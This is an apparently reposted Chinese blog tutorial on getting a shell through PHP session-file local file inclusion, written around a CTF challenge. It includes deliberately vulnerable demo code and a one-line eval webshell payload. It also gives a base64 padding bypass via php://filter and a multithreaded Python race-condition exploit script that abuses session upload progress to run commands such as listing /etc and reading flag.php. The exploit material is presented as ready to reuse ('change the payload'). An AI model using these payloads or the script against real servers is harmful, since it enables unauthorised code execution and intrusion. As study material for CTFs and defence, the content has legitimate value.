浅谈利用session绕过getshell 如何破解session
yuyutoo 2024-10-12 01:26 8 浏览 0 评论
在前些时间,国赛上再一次遇到了服务器本地文件包含session的漏洞,这是个老生常谈的东西了,但还是常常可以碰到,而我们想利用session来getshell往往还需要一些特殊的方法,借此机会,研究一番。
本文涉及相关实验:文件包含漏洞-中级篇 https://www.hetianlab.com/expc.do?ec=ECID21bb-8308-4117-ab95-a4602fa6c377&pk_campaign=toutiao-wemedia(本实验介绍了文件包含时绕过限制的原理,以及介绍利用文件包含漏洞读取源码的原理。)
基础知识
PHP SESSION的存储
SESSION会话存储方式
在Java中,用户的session是存储在内存中的,而在PHP中,则是将session以文件的形式存储在服务器某个文件中,我们可以在php.ini里面设置session的存储位置session.save_path
在很多时候服务器都是按照默认设置来运行的,假如我们发现了一个没有安全措施的session文件包含漏洞时,我们就可以尝试利用默认的会话存放路径去包含getshell,因此总结常见的php-session的默认存储位置是很有必要的
默认路径
/var/lib/php/sess_PHPSESSID
/var/lib/php/sessions/sess_PHPSESSID
/tmp/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSID
session文件的存储路径是分为两种情况的
一是没有权限,默认存储在/var/lib/php/sessions/目录下,文件名为sess_[phpsessid],而phpsessid在发送的请求的cookie字段中可以看到(一般在利用漏洞时我们自己设置phpsessid)
二是phpmyadmin,这时的session文件存储在/tmp目录下,需要在php.ini里把session.auto_start置为1,把session.save_path目录设置为/tmp
与 SESSION 有关的几个 PHP 选项
session.serialize_handler
- 一是php,服务器在配置文件或代码里面没有对session进行配置的话,PHP默认的会话处理方式就是session.serialize_handler=php这种模式机制,这种模式只对用户名的内容进行了序列化存储,没有对变量名进行序列化,我们可以看作是服务器对用户会话信息的半序列化存储
- 二是session.serialize_handler=php_serialize,这种处理模式在PHP 5.5后开始启用,与上一种类似,但无论是用户名的内容还是变量名等都进行了系列化,可以看作是服务器对用户会话信息的全序列化存储
- 三是php_binary,其存储方式是,键名的长度对应的ASCII字符+键名+经过serialize()函数序列化处理的值
常见就是以上三种,还有一些其他的比如session.serialize_handler = wddx等这里就不展开赘述了
对比上面session.serialize_handler的两种处理模式,可以看到他们在session处理上的差异,但我们编写代码不规范时对session的处理采用了多种情况,那么在攻击者可以利用的情况下,很可能会造成session反序列化漏洞。
session.auto_start
默认是off状态,如果开启这个选项,则PHP在接收请求的时候会自动初始化Session,不再需要执行session_start()。
session.use_strict_mode
默认是0,此时用户是可以自己定义Session ID的。比如,我们在Cookie里设置PHPSESSID=flag,PHP将会在服务器上创建一个文件:/tmp/sess_flag。即使此时用户没有初始化Session,PHP也会自动初始化Session,并产生一个键值.
因为sessid的可控,我们很容易借此达到我们getshell的目的,但是我们还存在session.upload_progress.cleanup
session.upload_progress.cleanup
默认开启,一旦读取了所有POST数据,它就会清除进度信息,所以我们一般都要通过条件竞争来进行文件上传
session.upload_progress.enabled
默认情况下是开启的,但也当该配置开启时,我们今天要讲的重点才得以引出
Session Upload Progress
Session Upload Progress 即 Session 上传进度,是php>=5.4后开始添加的一个特性。官网对他的描述是当 session.upload_progress.enabled 选项开启时(默认开启),PHP 能够在每一个文件上传时 监测上传进度。这个信息对上传请求自身并没有什么帮助,但在文件上传时应用可以发送一个POST请求到终端(例如通过XHR)来检查这个状态。
当一个上传在处理中,同时POST一个与INI中设置的session.upload_progress.name同名变量时,上传进度可以在 $_SESSION 中获得。 当PHP检测到这种POST请求时,它会在 $_SESSION 中添加一组数据,索引是 session.upload_progress.prefix 与 session.upload_progress.name 连接在一起的值。
下面给出一个php官方文档的一个进度数组的结构的样例:
<form action="upload.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="<?php echo ini_get("session.upload_progress.name"); ?>" value="123" />
<input type="file" name="file1" />
<input type="file" name="file2" />
<input type="submit" />
</form>
此时在session中存放的数据看上去是这样子的:
<?php
$_SESSION["upload_progress_123"] = array( // 其中存在上面表单里的value值"123"
"start_time" => 1234567890, // The request time 请求时间
"content_length" => 57343257, // POST content length post数据长度
"bytes_processed" => 453489, // Amount of bytes received and processed 已接收的字节数量
"done" => false, // true when the POST handler has finished, successfully or not
"files" => array(
0 => array(
"field_name" => "file1", // Name of the <input/> field 上传区域
// The following 3 elements equals those in $_FILES
"name" => "foo.avi", // 上传文件名
"tmp_name" => "/tmp/phpxxxxxx", // 上传后在服务端的临时文件名
"error" => 0,
"done" => true, // True when the POST handler has finished handling this file
"start_time" => 1234567890, // When this file has started to be processed
"bytes_processed" => 57343250, // Amount of bytes received and processed for this file
),
// An other file, not finished uploading, in the same request
1 => array(
"field_name" => "file2",
"name" => "bar.avi",
"tmp_name" => NULL,
"error" => 0,
"done" => false,
"start_time" => 1234567899,
"bytes_processed" => 54554,
),
)
);
LFI漏洞
LFI本地文件包含漏洞主要是包含本地服务器上存储的一些文件,例如Session会话文件、日志文件、临时文件等。但是,只有我们能够控制包含的文件存储我们的恶意代码才能拿到服务器权限。
我们这里重点讲的是针对LFI Session文件包含,我们可以简单理解成以为配置的原因,用户可以控制session文件中的部分信息,然后将这部分信息更改为恶意代码,然后去包含这个session文件达到攻击效果,在下面,我会演示一下大概流程
演示代码
session.php
<?php
session_start();
$username = $_POST['username'];
$_SESSION["username"] = $username;
?>
index.php
<?php
$file = $_GET['file'];
include($file);
?>
payload
分析session.php可以看到用户会话信息username的值用户是可控的,因为服务器没有对该部分作出限制。那么我们就可以传入恶意代码就行攻击利用
我们传入
username=Abc
我们看到,系统给我们初始了一个sess_ID
可以看出我们可以对username进行控制,那么假如我们传入的是一句话木马呢
username=<?php eval($_REQUEST['Abc']);?>
一句话马传入了,我们试试是不是真的可以像我们想的那样执行
从攻击结果可以看到我们的payload和恶意代码确实都已经正常解析和执行。
当然这是一种理想化的简单的漏洞利用情况,但是在平常中会有很多限制,常见的就是两种:1.对用户的会话信息进行了一定的处理,例如对用户session信息进行编码或加密 2.没有代码session_start()进行会话的初始化操作,这时服务器无法生成用户session文件,同时,用户也无法进行恶意session文件包含
下面,我们来讲一讲怎么绕过这些限制
Session Base64Encode
很多时候服务器上的session信息会由base64编码之后再进行存储,那么假如存在本地文件包含漏洞的时候该怎么去利用绕过呢?下面通过一个案例进行讲解与利用。
demo
session.php
<?php
session_start();
$username = $_POST['username'];
$_SESSION['username'] = base64_encode($username);
echo "username -> $username";
?>
index.php
<?php
$file = $_GET['file'];
include($file);
?>
exp
按照我们的一般套路注入
我们可以发现我们包含的session被编码了,导致LFI -> session失败。
在这里可以用逆向思维想一下,他既然对我们传入的session进行了base64编码,那么我们是不是只要对其进行base64解码然后再包含不就可以了,这个时候php://filter就可以利用上了。(其他编码同理)
index.php?file=php://filter/read=convert.base64-decode/resource=/phpStudy/PHPTutorial/tmp/tmp/sess_gnl84oftbpj0l47o5m2hlooi92
吼,无法解码!
这是为什么,来来来我们再仔细看看session文件内容
username|s:44:"PD9waHAgZXZhbCgkX1JFUVVFU1RbJ0FiYyddKTs/Pg==";
看到了吗,这里并不是只有base64密文,还有username|s:44:"这一段非base64的字符串,编码与解码不对应,当然无法解码
那么我们有什么方法解决吗
首先我们先来了解一下base64编码的特点
- Base64编码是使用64个可打印ASCII字符(A-Z、a-z、0-9、+、/)将任意字节序列数据编码成ASCII字符串,另有“=”符号用作后缀用途。
- Base64将输入字符串按字节切分,取得每个字节对应的二进制值(若不足8比特则高位补0),然后将这些二进制数值串联起来,再按照6比特一组进行切分(因为2^6=64),最后一组若不足6比特则末尾补0。将每组二进制值转换成十进制,然后在上述表格中找到对应的符号并串联起来就是Base64编码结果。
- 由于二进制数据是按照8比特一组进行传输,因此Base64按照6比特一组切分的二进制数据必须是24比特的倍数(6和8的最小公倍数)。24比特就是3个字节,若原字节序列数据长度不是3的倍数时且剩下1个输入数据,则在编码结果后加2个=;若剩下2个输入数据,则在编码结果后加1个=。
- 一个字符串中,不管出现多少个特殊字符或者位置上的差异,都不会影响最终的结果,可以验证base64_decode是遇到不在其中的字符时,将会跳过这些字符,仅将合法字符组成一个新的字符串进行解码。
总而言之,要想正常解码,需要session前面的这部分数据长度需要满足4的整数倍,据此我们再次构造payload
username=abcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcd<?php eval($_POST['Abc']);?>
符合,我们重新传参看看
执行成功
注:这是在session.serialize_handler=php配置下执行成功的,在其他配置下也是同样的原理
No session_start()
一般情况下,session_start()作为会话的开始出现在用户登录等地方以维持会话,但是如果一个网站存在LFI漏洞但却没有用户会话,那么我们该怎么去包含session信息呢
还记得我们上面说过的Session Upload Progress吗?
Session Upload Progress 最初是PHP为上传进度条设计的一个功能,在上传文件较大的情况下,PHP将进行流式上传,并将进度信息放在Session中,此时即使用户没有初始化Session,PHP也会自动初始化Session。而且,默认情况下session.upload_progress.enabled是为On的,也就是说这个特性默认开启。所以,我们可以通过这个特性来在目标主机上初始化Session。——WHOAMIBunny
session中一部分数据(session.upload_progress.name)是用户自己可以控制的,那么我们在Cookie中设置PHPSESSID=Abc(默认情况下由于session.use_strict_mode=0用户可以自定义Session ID),同时POST恶意字段PHP_SESSION_UPLOAD_PROGRESS,只要上传包里带上这个键,PHP就会自动启用Session,又由于我们之前设置了Session ID,所以session文件会自动创建且可控
但又由于session.upload_progress.cleanup = on这个配置的存在,当文件上传结束后,php将会立即清空对应session文件中的内容,这会导致我们最终包含的只是一个空文件,所以我们要利用条件竞争,在session文件被清除之前利用
import io
import requests
import threading
sessid = 'SsBNMsssSssssL'
data = {"cmd":"system('cat flag.php');"}
def write(session):
while True:
f = io.BytesIO(b'a' * 1024 * 50)
resp = session.post('http://192.168.43.82', data={'PHP_SESSION_UPLOAD_PROGRESS': '<?php var_dump(scandir("/etc"));?>'}, files={'file': ('a.txt',f)}, cookies={'PHPSESSID': sessid} )
def read(session):
while True:
data={
'filed':'',
'cf':'../../../../../../var/lib/php/sessions/eadhacfafh/sess_'+sessid
}
resp = session.post('http://192.168.43.82/index.php',data=data)
if 'a.txt' in resp.text:
print(resp.text)
event.clear()
else:
print("[+++++++++++++]retry")
if __name__=="__main__":
event=threading.Event()
with requests.session() as session:
for i in range(1,30):
threading.Thread(target=write,args=(session,)).start()
for i in range(1,30):
threading.Thread(target=read,args=(session,)).start()
event.set()
国赛的脚本,改下payload即可
相关推荐
- 墨尔本一华裔男子与亚裔男子分别失踪数日 警方寻人
-
中新网5月15日电据澳洲新快网报道,据澳大利亚维州警察局网站消息,22岁的华裔男子邓跃(Yue‘Peter’Deng,音译)失踪已6天,维州警方于当地时间13日发布寻人通告,寻求公众协助寻找邓跃。华...
- 网络交友须谨慎!美国犹他州一男子因涉嫌杀害女网友被捕
-
伊森·洪克斯克(图源网络,侵删)据美国广播公司(ABC)25日报道,美国犹他州一名男子于24日因涉嫌谋杀被捕。警方表示,这名男子主动告知警局,称其杀害了一名在网络交友软件上认识的25岁女子。雷顿警...
- 一课译词:来龙去脉(来龙去脉 的意思解释)
-
Mountainranges[Photo/SIPA]“来龙去脉”,汉语成语,本指山脉的走势和去向,现比喻一件事的前因后果(causeandeffectofanevent),可以翻译为“i...
- 高考重要考点:range(range高考用法)
-
range可以用作动词,也可以用作名词,含义特别多,在阅读理解中出现的频率很高,还经常作为完形填空的选项,而且在作文中使用是非常好的高级词汇。...
- C++20 Ranges:现代范围操作(现代c++白皮书)
-
1.引言:C++20Ranges库简介C++20引入的Ranges库是C++标准库的重要更新,旨在提供更现代化、表达力更强的方式来处理数据序列(范围,range)。Ranges库基于...
- 学习VBA,报表做到飞 第二章 数组 2.4 Filter函数
-
第二章数组2.4Filter函数Filter函数功能与autofilter函数类似,它对一个一维数组进行筛选,返回一个从0开始的数组。...
- VBA学习笔记:数组:数组相关函数—Split,Join
-
Split拆分字符串函数,语法Split(expression,字符,Limit,compare),第1参数为必写,后面3个参数都是可选项。Expression为需要拆分的数据,“字符”就是以哪个字...
- VBA如何自定义序列,学会这些方法,让你工作更轻松
-
No.1在Excel中,自定义序列是一种快速填表机制,如何有效地利用这个方法,可以大大增加工作效率。通常在操作工作表的时候,可能会输入一些很有序的序列,如果一一录入就显得十分笨拙。Excel给出了一种...
- Excel VBA入门教程1.3 数组基础(vba数组详解)
-
1.3数组使用数组和对象时,也要声明,这里说下数组的声明:'确定范围的数组,可以存储b-a+1个数,a、b为整数Dim数组名称(aTob)As数据类型Dimarr...
- 远程网络调试工具百宝箱-MobaXterm
-
MobaXterm是一个功能强大的远程网络工具百宝箱,它将所有重要的远程网络工具(SSH、Telnet、X11、RDP、VNC、FTP、MOSH、Serial等)和Unix命令(bash、ls、cat...
- AREX:携程新一代自动化回归测试工具的设计与实现
-
一、背景随着携程机票BU业务规模的不断提高,业务系统日趋复杂,各种问题和挑战也随之而来。对于研发测试团队,面临着各种效能困境,包括业务复杂度高、数据构造工作量大、回归测试全量回归、沟通成本高、测试用例...
- Windows、Android、IOS、Web自动化工具选择策略
-
Windows平台中应用UI自动化测试解决方案AutoIT是开源工具,该工具识别windows的标准控件效果不错,但是当它遇到应用中非标准控件定义的UI元素时往往就无能为力了,这个时候选择silkte...
- python自动化工具:pywinauto(python快速上手 自动化)
-
简介Pywinauto是完全由Python构建的一个模块,可以用于自动化Windows上的GUI应用程序。同时,它支持鼠标、键盘操作,在元素控件树较复杂的界面,可以辅助我们完成自动化操作。我在...
- 时下最火的 Airtest 如何测试手机 APP?
-
引言Airtest是网易出品的一款基于图像识别的自动化测试工具,主要应用在手机APP和游戏的测试。一旦使用了这个工具进行APP的自动化,你就会发现自动化测试原来是如此简单!!连接手机要进行...
- 【推荐】7个最强Appium替代工具,移动App自动化测试必备!
-
在移动应用开发日益火爆的今天,自动化测试成为了确保应用质量和用户体验的关键环节。Appium作为一款广泛应用的移动应用自动化测试工具,为测试人员所熟知。然而,在不同的测试场景和需求下,还有许多其他优...
你 发表评论:
欢迎- 一周热门
- 最近发表
- 标签列表
-
- mybatis plus (70)
- scheduledtask (71)
- css滚动条 (60)
- java学生成绩管理系统 (59)
- 结构体数组 (69)
- databasemetadata (64)
- javastatic (68)
- jsp实用教程 (53)
- fontawesome (57)
- widget开发 (57)
- vb net教程 (62)
- hibernate 教程 (63)
- case语句 (57)
- svn连接 (74)
- directoryindex (69)
- session timeout (58)
- textbox换行 (67)
- extension_dir (64)
- linearlayout (58)
- vba高级教程 (75)
- iframe用法 (58)
- sqlparameter (59)
- trim函数 (59)
- flex布局 (63)
- contextloaderlistener (56)